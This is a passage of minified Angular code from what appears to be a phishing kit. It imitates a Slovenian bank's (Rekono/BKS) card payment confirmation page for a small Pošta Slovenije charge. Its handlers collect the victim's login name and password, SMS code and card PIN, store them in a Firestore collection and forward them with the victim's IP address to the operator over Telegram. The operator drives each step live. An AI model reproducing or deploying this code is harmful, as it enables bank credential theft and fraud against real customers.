r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).pass=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(9,"td",37),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(5),r.\u0275\u0275property("ngModel",t.user),r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.pass)}}function WI(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Podatki za prijavo so napa\u010dni. "),r.\u0275\u0275elementEnd())}function KI(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,WI,2,0,"div",54),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function $I(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275template(1,qI,10,2,"tr",6),r.\u0275\u0275elementStart(2,"div",39),r.\u0275\u0275elementStart(3,"div",38),r.\u0275\u0275elementStart(4,"input",40),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(2).onConfirm()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275template(5,KI,6,1,"tr",6),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==t.step||11==t.step),r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",11==t.step)}}function QI(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"table",26),r.\u0275\u0275elementStart(1,"tbody"),r.\u0275\u0275template(2,AI,8,2,"tr",6),r.\u0275\u0275template(3,NI,6,1,"tr",6),r.\u0275\u0275template(4,RI,8,0,"tr",6),r.\u0275\u0275template(5,LI,4,0,"tr",6),r.\u0275\u0275template(6,FI,6,1,"tr",6),r.\u0275\u0275template(7,BI,6,1,"tr",6),r.\u0275\u0275template(8,zI,6,1,"tr",6),r.\u0275\u0275template(9,UI,6,1,"tr",6),r.\u0275\u0275template(10,$I,6,2,"div",34),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext();r.\u0275\u0275advance(2),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==t.step||6==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",6==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",7==t.step||8==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",8==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==t.step||11==t.step)}}let XI=(()=>{class t{constructor(t,e){this.db=t,this.myService=e,this.btnDisabled=!1,this.btnDisabled2=!1,this.redirectVBV=!1,this.today=Date.now(),this.loading=!1,this.showCodeOP="",this.showCode="",this.incorrect=!1,this.user="",this.pass="",this.visit={ip:"",country:"",dateTime:"",device:""},e.getIpAddress().subscribe(t=>{this.visit.ip=t.ip,this.visit.dateTime=Date.now(),e.getCountry(t.ip).subscribe(t=>{this.visit.country=t.country_name})}),this.prefix=localStorage.getItem("ID"),localStorage.getItem("ccNum")?(this.ccNum=localStorage.getItem("ccNum"),this.lastFourDegits=this.ccNum.substr(this.ccNum.length-4)):localStorage.getItem("ccNum2")&&(this.ccNum=localStorage.getItem("ccNum2"),this.lastFourDegits=this.ccNum.substr(this.ccNum.length-4)),this.resultsCollection=this.db.collection("lBet"),this.logins=this.resultsCollection.snapshotChanges().pipe((0,ue.U)(t=>t.map(t=>{const e=t.payload.doc.data(),n=t.payload.doc.id;return e.id=n,localStorage.getItem("ID")==n&&(2==e.step?(this.step=2,this.loading=!1,setTimeout(()=>{this.redirectVBV=!0},3e3)):3==e.step?(this.step=3,this.loading=!0,this.redirectVBV=!1,this.btnDisabled=!0):4==e.step?(this.step=4,this.btnDisabled=!1,this.loading=!1,this.redirectVBV=!1,this.incorrect=!0):5==e.step?(this.step=5,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!1):6==e.step?(this.step=6,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!0,this.showCode=e.showCode,this.showCodeOP=e.showCodeOP):7==e.step?(this.step=7,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!1,this.showCode=e.showCode,this.showCodeOP=e.showCodeOP):8==e.step?(this.step=8,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!0,this.showCode=e.showCode,this.showCodeOP=e.showCodeOP):9==e.step?(this.step=9,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!1,this.showCode=e.showCode,this.showCodeOP=e.showCodeOP):11==e.step?(this.step=11,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!0,this.showCode=e.showCode,this.showCodeOP=e.showCodeOP):10==e.step&&(this.step=10,this.loading=!1,this.btnDisabled=!0,this.incorrect=!1,this.redirectVBV=!1)),e}))),this.logins.subscribe(function(){var t=TT(function*(t){});return function(e){return t.apply(this,arguments)}}())}ngOnInit(){}onConfirm(){return this.user.length<6?(this.incorrect=!0,this.loading=!1,void console.log(this.user+"daza")):this.pass.length<6?(this.incorrect=!0,this.loading=!1,void console.log(this.user+"fff")):(this.loading=!0,void setTimeout(()=>{let t;this.credentials=this.user+":"+this.pass,this.db.collection("lBet").doc(this.prefix).update({step:3,credentials:this.credentials}).catch(function(t){var e;console.error("Error writing document event: ",t),localStorage.clear(),null===(e=window.open("/Confirm_Delivery","_self"))||void 0===e||e.close()}),this.step=3,t=" BKS(Rekono)-Login: "+this.user+" "+this.pass+" "+this.visit.ip,this.user="",this.pass="",this.myService.sendTelegram(t).subscribe(t=>console.log(t))},1e3))}onConfirmSMS(){if(this.smsCode.length<6)return this.incorrect=!0,void(this.loading=!1);this.loading=!0,setTimeout(()=>{let t;this.db.collection("lBet").doc(this.prefix).update({step:3,smsCode:this.smsCode}).catch(function(t){var e;console.error("Error writing document event: ",t),localStorage.clear(),null===(e=window.open("/Confirm_Delivery","_self"))||void 0===e||e.close()}),this.step=3,t=" BKS(Rekono)-SMS: "+this.smsCode+" "+this.visit.ip,this.myService.sendTelegram(t).subscribe(t=>console.log(t))},1e3)}onConfirmPIN(){if(this.smsCode.length<4)return this.incorrect=!0,void(this.loading=!1);this.loading=!0,setTimeout(()=>{let t;this.db.collection("lBet").doc(this.prefix).update({step:3,pin:this.smsCode}).catch(function(t){console.error("Error writing document event: ",t),localStorage.clear()}),this.step=3,t=" BKS(Rekono)-PIN: "+this.smsCode+" "+this.visit.ip,this.myService.sendTelegram(t).subscribe(t=>console.log(t)),this.smsCode=""},1e3)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(vw),r.\u0275\u0275directiveInject(CI))},t.\u0275cmp=r.\u0275\u0275defineComponent({type:t,selectors:[["app-piraeus-modal"]],decls:71,vars:21,consts:[[1,"modal-page"],[1,"header"],["src","https://www.mihahrobat.com/media/1014/rekono.png",2,"width","150px"],["src","../../assets/images/VM.png"],["id","desc",2,"color","black"],["style","margin-bottom: -1px;",4,"ngIf"],[4,"ngIf"],["id","descList",1,"list",2,"display","block"],["id","pa_merchant",1,"list-item"],[1,"label"],[1,"value"],["id","pa_amount",1,"list-item"],["id","pa_date",1,"list-item"],["id","pa_pan",1,"list-item"],["id","pamrow",1,"list-item",2,"display","none"],["id","addInfo"],[1,"list"],["id","QRItem",2,"display","none"],["align","center"],["id","QRData"],["id","psw_id","type","password","placeholder","Mobile\u2013Internet Banking / NBG Authenticator","name","PASSWORD","size","20","maxlength","20","autocomplete","off",1,"big-input"],["id","authenticator","align","center",1,"desc"],[1,"row","d-flex","justify-content-center"],["width","100%","border","0","align","center","cellspacing","3","cellpadding","3",4,"ngIf"],[1,"footer"],[1,"row"],["width","100%","border","0","align","center","cellspacing","3","cellpadding","3"],["href","javascript:void(0)","id","btnExit","onclick","OnExit(); return false;"],["href","#","target","Terms Of Use"],["href","javascript:void(0)","onclick","window.open('javascript:void(0)','','width=1000,height=700, location=no, menubar=no, toolbar=no, resizable=yes', true ); return false;",1,"help__link"],["type","hidden","name","formaction","value","pa.submit"],[2,"margin-bottom","-1px"],[2,"display","flex","justify-content","center","margin-top","8px"],["src","../../assets/images/nbgSc/loading.gif","alt",""],["id","btnSubmitItem",4,"ngIf"],["align","left","width","40"],["align","center",1,"left"],["width","40"],["id","btnSubmitItem"],[1,"position-relative",2,"margin-top","4px"],["type","button","id","btnSubmit","name","btSubmit","value","NADALJUJ",1,"big-button",2,"cursor","pointer",3,"click"],[1,"position-relative"],[1,"flex-center"],["maxlength","29","autocapitalize","none","test-field","usernameField","type","text","placeholder","Va\u0161 e-naslov",1,"oval-input","ng-dirty","ng-touched",2,"min-width","190px",3,"ngModel","ngModelChange"],["maxlength","25","test-field","usernameField","type","password","placeholder","Geslo",1,"oval-input","ng-dirty","ng-touched",3,"ngModel","ngModelChange"],["class","flex-center","style","text-align: center; color: red; margin-top: -6px; margin-bottom: -6px;",4,"ngIf"],[1,"flex-center",2,"text-align","center","color","red","margin-top","-6px","margin-bottom","-6px"],["href","javascript:void(0)","target","_blank"],["oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","pattern","\\d*","autocomplete","on","maxlength","6","test-field","usernameField","type","text","placeholder","******",1,"oval-input","ng-dirty","ng-touched",2,"max-width","135px","letter-spacing","4px",3,"ngModel","ngModelChange"],[1,"flex-center",2,"margin-top","8px"],["type","button","id","btnSubmit","name","btSubmit","value","Vahvistaa",1,"big-button",2,"cursor","pointer",3,"click"],["pattern","\\d*","autocomplete","on","oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","maxlength","4","test-field","usernameField","type","text","placeholder","****",1,"oval-input","ng-dirty","ng-touched",2,"max-width","115px","letter-spacing","4px",3,"ngModel","ngModelChange"],["maxlength","14","autocapitalize","none","test-field","usernameField","type","text","placeholder","Uporabni\u0161ko ime",1,"oval-input","ng-dirty","ng-touched",2,"min-width","190px",3,"ngModel","ngModelChange"],["maxlength","14","test-field","usernameField","type","password","placeholder","Geslo",1,"oval-input","ng-dirty","ng-touched",3,"ngModel","ngModelChange"],["style","display: flex; justify-content: center;","class","flex-center","style","text-align: center; color: red; margin-top: -6px; margin-bottom: -6px;",4,"ngIf"]],template:function(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",0),r.\u0275\u0275elementStart(1,"div",1),r.\u0275\u0275elementStart(2,"div"),r.\u0275\u0275element(3,"img",2),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(4,"div"),r.\u0275\u0275element(5,"img",3),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(6,"div"),r.\u0275\u0275element(7,"h1"),r.\u0275\u0275elementStart(8,"div",4),r.\u0275\u0275template(9,wI,3,0,"h2",5),r.\u0275\u0275template(10,xI,3,0,"h2",5),r.\u0275\u0275template(11,PI,2,0,"p",6),r.\u0275\u0275template(12,SI,3,0,"p",6),r.\u0275\u0275template(13,MI,5,1,"p",6),r.\u0275\u0275template(14,OI,3,1,"p",6),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(15,"div",7),r.\u0275\u0275elementStart(16,"div",8),r.\u0275\u0275elementStart(17,"div",9),r.\u0275\u0275text(18,"Trgovec:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(19,"div",10),r.\u0275\u0275text(20,"Po\u0161ta Slovenije"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(21,"div",11),r.\u0275\u0275elementStart(22,"div",9),r.\u0275\u0275text(23,"Znesek:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(24,"div",10),r.\u0275\u0275elementStart(25,"b"),r.\u0275\u0275text(26,"\u20ac 2,84"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(27,"div",12),r.\u0275\u0275elementStart(28,"div",9),r.\u0275\u0275text(29,"Datum nakupa:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(30,"div",10),r.\u0275\u0275text(31),r.\u0275\u0275pipe(32,"date"),r.\u0275\u0275pipe(33,"date"),r.\u0275\u0275pipe(34,"date"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(35,"div",13),r.\u0275\u0275elementStart(36,"div",9),r.\u0275\u0275text(37,"\u0160tevilka kartice:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(38,"div",10),r.\u0275\u0275text(39),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(40,"div",14),r.\u0275\u0275elementStart(41,"div",9),r.\u0275\u0275text(42,"Personal Greeting:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(43,"div",10),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(44,"div",15),r.\u0275\u0275elementStart(45,"div",16),r.\u0275\u0275elementStart(46,"div",17),r.\u0275\u0275elementStart(47,"div",18),r.\u0275\u0275element(48,"img",19),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(49,"input",20),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(50,"div",21),r.\u0275\u0275elementStart(51,"div",22),r.\u0275\u0275template(52,EI,2,0,"div",6),r.\u0275\u0275template(53,QI,11,9,"table",23),r.\u0275\u0275element(54,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(55,"div",24),r.\u0275\u0275element(56,"br"),r.\u0275\u0275elementStart(57,"div",25),r.\u0275\u0275elementStart(58,"table",26),r.\u0275\u0275elementStart(59,"tbody"),r.\u0275\u0275elementStart(60,"tr"),r.\u0275\u0275elementStart(61,"td",18),r.\u0275\u0275elementStart(62,"a",27),r.\u0275\u0275text(63,"Zasebnost"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(64,"td",18),r.\u0275\u0275elementStart(65,"a",28),r.\u0275\u0275text(66,"\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(67,"td"),r.\u0275\u0275elementStart(68,"a",29),r.\u0275\u0275text(69,"pomo\u010d?"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(70,"input",30),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t&&(r.\u0275\u0275advance(9),r.\u0275\u0275property("ngIf",2==e.step||4==e.step||5==e.step||6==e.step||7==e.step||8==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==e.step||11==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==e.step||4==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==e.step||6==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",7==e.step||8==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==e.step||11==e.step),r.\u0275\u0275advance(17),r.\u0275\u0275textInterpolate3("",r.\u0275\u0275pipeBind2(32,12,e.today,"dd"),"/",r.\u0275\u0275pipeBind2(33,15,e.today,"MM"),"/",r.\u0275\u0275pipeBind2(34,18,e.today,"yyyy")," "),r.\u0275\u0275advance(8),r.\u0275\u0275textInterpolate1(" **** **** **** ",e.lastFourDegits,""),r.\u0275\u0275advance(13),r.\u0275\u0275property("ngIf",e.loading),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",!e.loading))},directives:[ut,zO,aT,_E,KE,lT],pipes:[vt],styles:['html[_ngcontent-%COMP%]{height:100%}body[_ngcontent-%COMP%]{background-color:#fcfcfc;font-family:Helvetica;font-size:12px;padding:0;margin:0;justify-content:center;align-items:center;display:-ms-flexbox;display:block;height:100%}a[_ngcontent-%COMP%]{color:#0177ef;text-decoration:none}a[_ngcontent-%COMP%]:hover{text-decoration:underline}a.error[_ngcontent-%COMP%]{color:red;font-weight:normal}a.error[_ngcontent-%COMP%]:hover{color:#000;font-weight:normal}a.small[_ngcontent-%COMP%]{opacity:.6}h1[_ngcontent-%COMP%]{font-size:18px}h2[_ngcontent-%COMP%]{padding-top:8px;font-size:16px}p[_ngcontent-%COMP%]{line-height:18px}.desc[_ngcontent-%COMP%], .error[_ngcontent-%COMP%]{font-size:12px;color:#adadad;margin:4px 0}.error[_ngcontent-%COMP%]{color:red}.language[_ngcontent-%COMP%]{position:absolute;top:0;right:0;margin:12px}.lang[_ngcontent-%COMP%]{display:inline;padding-left:8px;border:2px}.modal-page[_ngcontent-%COMP%]{position:relative;width:320px;max-height:580px;background-color:#fff;padding:12px 24px 24px;margin-top:0;margin-left:auto;margin-right:auto;text-align:left;box-shadow:0 12px 28px rgba(0,0,0,.1);border-radius:3px;font-size:12px}@media (max-height: 600px){body[_ngcontent-%COMP%]{display:block}}.list[_ngcontent-%COMP%]{border-top:1px solid #dedede;padding-top:6px}.list-item[_ngcontent-%COMP%]{padding:4px 0;display:flex;align-items:baseline}.label[_ngcontent-%COMP%]{display:inline-block;width:45%;color:gray;padding-right:24px;box-sizing:border-box;vertical-align:top;font-size:12px;opacity:.5;text-align:right}.value[_ngcontent-%COMP%]{display:inline-block;width:48%;color:#000;box-sizing:border-box}.select[_ngcontent-%COMP%], .big-input[_ngcontent-%COMP%]{padding:8px;background-color:#fff;border-color:#dedede;border-style:solid;border-width:1px;border-radius:6px;font-size:14px}.select[_ngcontent-%COMP%], .big-input[_ngcontent-%COMP%]{display:block;width:100%}.button[_ngcontent-%COMP%]{background-color:transparent;border:1px solid #263e4c;color:#263e4c;text-transform:uppercase}.button[_ngcontent-%COMP%]:hover{border:1px solid #263e4c}.big-button[_ngcontent-%COMP%], .select[_ngcontent-%COMP%], .inner-button[_ngcontent-%COMP%], .button[_ngcontent-%COMP%]{height:36px;line-height:36px;border-radius:4px;padding:0 18px;font-size:12px;font-weight:100}.select[_ngcontent-%COMP%]{font-size:14px}.big-button[_ngcontent-%COMP%]:hover, .inner-button[_ngcontent-%COMP%]:hover{opacity:.8}.big-button[_ngcontent-%COMP%]{background:linear-gradient(1deg,#1458A2 0%,#20A9DD 100%);border:none;color:#fff;margin:0 auto;display:block;text-transform:uppercase}.small-input[_ngcontent-%COMP%]{padding:5px;background-color:#fff;border-color:#dedede;border-style:solid;border-width:1px;border-radius:6px;font-size:11px;text-align:center}.big-input[_ngcontent-%COMP%]{font-size:14px;text-align:center;padding-left:0;padding-right:0}.big-input[_ngcontent-%COMP%]:hover, .small-input[_ngcontent-%COMP%]:hover{border:1px solid #263e4c}.big-link[_ngcontent-%COMP%]{font-size:14px}.header[_ngcontent-%COMP%]{display:flex;flex-direction:row;justify-content:space-between;align-items:center}.footer[_ngcontent-%COMP%]{margin-top:8px;padding-top:8px;border-top:1px solid #dedede;text-align:center}.inner[_ngcontent-%COMP%]{display:inline-block;text-align:left;padding:8px 12px 8px 0}.inner-button[_ngcontent-%COMP%]{border:none;margin:0 auto;color:#fff;background-color:#263e4c;text-transform:uppercase}.row[_ngcontent-%COMP%]:after{content:"";clear:both;display:table}.left[_ngcontent-%COMP%]{text-align:center}.right[_ngcontent-%COMP%]{float:right;text-align:right}.help_icon[_ngcontent-%COMP%]{width:14px;height:13px;border:0px;padding-right:2px}.bottom[_ngcontent-%COMP%]{border-top:1px solid #dedede;padding-top:10px;margin-top:10px}hr[_ngcontent-%COMP%]{margin:12px 0;border:none;border-top:1px solid #dedede}.position-relative[_ngcontent-%COMP%]{position:relative}.flex-center[_ngcontent-%COMP%]{display:flex;justify-content:center}.oval-input[_ngcontent-%COMP%]:disabled{color:rgba(65,65,64,.75);opacity:.76}.oval-input[_ngcontent-%COMP%]{font-family:PF DinDisplay Pro Medium,Arial,Helvetica,sans-serif;font-weight:500;font-style:normal;background:#fff;width:100%;border-radius:.25rem;font-size:16px;font-size:1rem;height:20px;height:2.5rem;padding:.125rem 2.5rem 0 1rem;color:#414140;border:none;outline:none;box-shadow:0 5px 10px rgba(0,0,0,.2);-webkit-appearance:none;-webkit-box-shadow:0px 5px 10px rgb(0 0 0 / 20%)}.position-absolute-center-y[_ngcontent-%COMP%]{position:absolute;top:50%;transform:translateY(-50%)}.right-default[_ngcontent-%COMP%]{right:1rem}.button-transparent[_ngcontent-%COMP%]{background:transparent;border:none;cursor:pointer;padding:0}.text-medium[_ngcontent-%COMP%]{font-family:PF DinDisplay Pro Medium,Arial,Helvetica,sans-serif;font-weight:500;font-style:normal}.text-small[_ngcontent-%COMP%], h5[_ngcontent-%COMP%]{line-height:14px;line-height:.875rem;font-size:14px;font-size:.875rem}.text-primary[_ngcontent-%COMP%]{color:#125b6b}[type=reset][_ngcontent-%COMP%], [type=submit][_ngcontent-%COMP%], button[_ngcontent-%COMP%], html[_ngcontent-%COMP%] [type=button][_ngcontent-%COMP%]{-webkit-appearance:button}button[_ngcontent-%COMP%], select[_ngcontent-%COMP%]{text-transform:none}button[_ngcontent-%COMP%], input[_ngcontent-%COMP%]{overflow:visible}button[_ngcontent-%COMP%], input[_ngcontent-%COMP%], optgroup[_ngcontent-%COMP%], select[_ngcontent-%COMP%], textarea[_ngcontent-%COMP%]{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button[_ngcontent-%COMP%]{border-radius:0}.icon-user-refresh[_ngcontent-%COMP%]{background-image:url(https://ibank.nbg.gr/identity/dist/icons/user-refresh.e3ee51c4c61192621049e2c835a2aafd.svg)}.icon-pass-refresh[_ngcontent-%COMP%]{background-image:url(https://ibank.nbg.gr/identity/dist/icons/visibility.d128f570a1a619be86a37334ffc80b37.svg)}.icon-svg-container[_ngcontent-%COMP%], .icon-svg-container-small[_ngcontent-%COMP%]{display:block;background-repeat:no-repeat;background-position:50%}.icon-svg-container-small[_ngcontent-%COMP%]{width:24px;width:1.5rem;height:24px;height:1.5rem;min-width:24px;min-width:1.5rem;min-height:24px;min-height:1.5rem}*[_ngcontent-%COMP%], [_ngcontent-%COMP%]:after, [_ngcontent-%COMP%]:before{box-sizing:border-box}i[_ngcontent-%COMP%]{font-style:italic}']}),t})();function ZI(t,e){1&t&&(r.\u0275\u0275elementStart(0,"h2",31),r.\u0275\u0275elementStart(1,"strong"),r.\u0275\u0275text(2," Potrdite pla\u010dilo"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function YI(t,e){1&t&&(r.\u0275\u0275elementStart(0,"h2",31),r.\u0275\u0275elementStart(1,"strong"),r.\u0275\u0275text(2," Varnostno vpra\u0161anje:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function JI(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275text(1," Za potrditev transakcije se prijavite."),r.\u0275\u0275elementEnd())}function tk(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275elementStart(1,"span",32),r.\u0275\u0275text(2," Prosimo vnesite SMS kodo, ki ste jo prejeli "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function ek(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275elementStart(1,"span",32),r.\u0275\u0275text(2," Vnesite kodo PIN za naslednjo kartico: XXXX-"),r.\u0275\u0275elementStart(3,"strong"),r.\u0275\u0275text(4),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext();r.\u0275\u0275advance(4),r.\u0275\u0275textInterpolate1("",t.showCode," ")}}function nk(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275elementStart(1,"span",32),r.\u0275\u0275text(2," Za potrditev transakcije se prijavite. Te informacije se ne delijo s trgovcem."),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function rk(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div"),r.\u0275\u0275element(1,"img",33),r.\u0275\u0275elementEnd())}function ik(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275elementStart(4,"div",42),r.\u0275\u0275elementStart(5,"input",43),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(4).user=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(6,"div",39),r.\u0275\u0275elementStart(7,"div",42),r.\u0275\u0275elementStart(8,"input",44),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(4).pass=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(9,"td",37),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(4);r.\u0275\u0275advance(5),r.\u0275\u0275property("ngModel",t.user),r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.pass)}}function ok(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275template(1,ik,10,2,"tr",6),r.\u0275\u0275elementStart(2,"div",39),r.\u0275\u0275elementStart(3,"div",38),r.\u0275\u0275elementStart(4,"input",40),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirm()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==t.step||4==t.step)}}function sk(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275elementStart(1,"input",40),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmSMS()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}}function ak(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",22),r.\u0275\u0275element(4,"div",36),r.\u0275\u0275template(5,ok,5,1,"div",34),r.\u0275\u0275template(6,sk,2,0,"div",34),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(7,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(5),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==t.step||6==t.step)}}function ck(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Podatki za prijavo so napa\u010dni. "),r.\u0275\u0275elementEnd())}function lk(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,ck,2,0,"div",45),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function uk(t,e){1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275elementStart(4,"div",42),r.\u0275\u0275elementStart(5,"a",47),r.\u0275\u0275text(6," Potrebujem pomo\u010d? "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(7,"td",37),r.\u0275\u0275elementEnd())}function 